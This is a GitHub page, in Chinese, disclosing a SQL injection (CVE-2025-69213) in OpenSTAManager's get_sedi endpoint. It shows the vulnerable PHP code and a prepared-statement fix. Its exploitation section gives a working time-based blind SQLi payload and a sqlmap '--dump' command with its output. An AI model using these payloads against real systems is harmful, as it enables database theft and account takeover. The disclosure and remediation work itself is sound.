lukasz-rybak/CVE-2025-69213

GitHub: lukasz-rybak/CVE-2025-69213

该项目揭示了 OpenSTAManager 中因 SQL 注入导致的数据泄露与权限提升风险,并提供了检测与修复方法。

Stars: 0 | Forks: 0

# CVE-2025-69213: OpenSTAManager 在 ajax_complete.php (get_sedi 端点) 中存在 SQL 注入 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2025-69213](https://nvd.nist.gov/vuln/detail/CVE-2025-69213) | | **严重性** | 高危 | | **公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 影响产品 - **devcode-it/openstamanager**(版本:<= 2.9.8) ## CWE 分类 - CWE-89:SQL 命令中特殊元素的不当清除('SQL 注入') ## 详情 ### 摘要 在处理 `get_sedi` 操作时,`ajax_complete.php` 端点存在 SQL 注入漏洞。认证攻击者可通过 `idanagrafica` 参数注入恶意 SQL 代码,导致未经授权的数据库访问。 ### 漏洞代码 **文件:** `modules/anagrafiche/ajax/complete.php:28` ``` case 'get_sedi': $idanagrafica = get('idanagrafica'); $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione FROM an_sedi WHERE idanagrafica='".$idanagrafica."' ..."; $rs = $dbo->fetchArray($q); ``` ### 数据流 1. **来源:** `$_GET['idanagrafica']` → `get('idanagrafica')` 2. **脆弱点:** 用户输入直接拼接至 SQL 查询(带单引号) 3. **汇点:** `$dbo->fetchArray($q)` 执行恶意查询 ### 利用方式 **手动利用示例(基于时间的盲注 SQLi):** ``` GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID= ``` image **SQLMap 利用:** ``` sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \ --cookie="PHPSESSID=" \ --dbms=MySQL \ --technique=T \ --level=3 \ --dump ``` **SQLMap 输出:** ``` [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable Parameter: #1* (URI) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF back-end DBMS: MySQL >= 5.0.12 ``` image ## 影响 - **数据泄露:** 可完整提取数据库,包括用户凭证、客户数据、财务记录 - **权限提升:** 修改 `zz_users` 表以获取管理员权限 - **数据完整性:** 未经授权的修改或删除记录 - **潜在 RCE:** 若文件权限允许,可通过 `SELECT ... INTO OUTFILE` 实现远程代码执行 ## 影响版本 - OpenSTAManager:已验证最新版本(截至 2025 年 12 月) - 所有使用该端点的版本均可能存在影响 ## 修复建议 使用预处理语句替换直接拼接: **修改前:** ``` $idanagrafica = get('idanagrafica'); $q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ..."; ``` **修改后:** ``` $idanagrafica = get('idanagrafica'); $q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ..."; ``` ## 参考 - OWASP SQL 注入:https://owasp.org/www-community/attacks/SQL_Injection - CWE-89:SQL 命令中特殊元素的不当清除 ## 致谢 发现者:Łukasz Rybak ## 参考链接 - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg - https://nvd.nist.gov/vuln/detail/CVE-2025-69213 - https://github.com/advisories/GHSA-w995-ff8h-rppg
标签:ajax_complete.php, CISA项目, CVE-2025-69213, CWE-89, DOE合作, get_sedi, idanagrafica, OpenSTAManager, OpenVAS, PHP, SQLMap, Web安全, 时间盲注, 漏洞分析, 编程工具, 蓝队分析, 认证绕过, 路径探测, 远程代码执行, 高危漏洞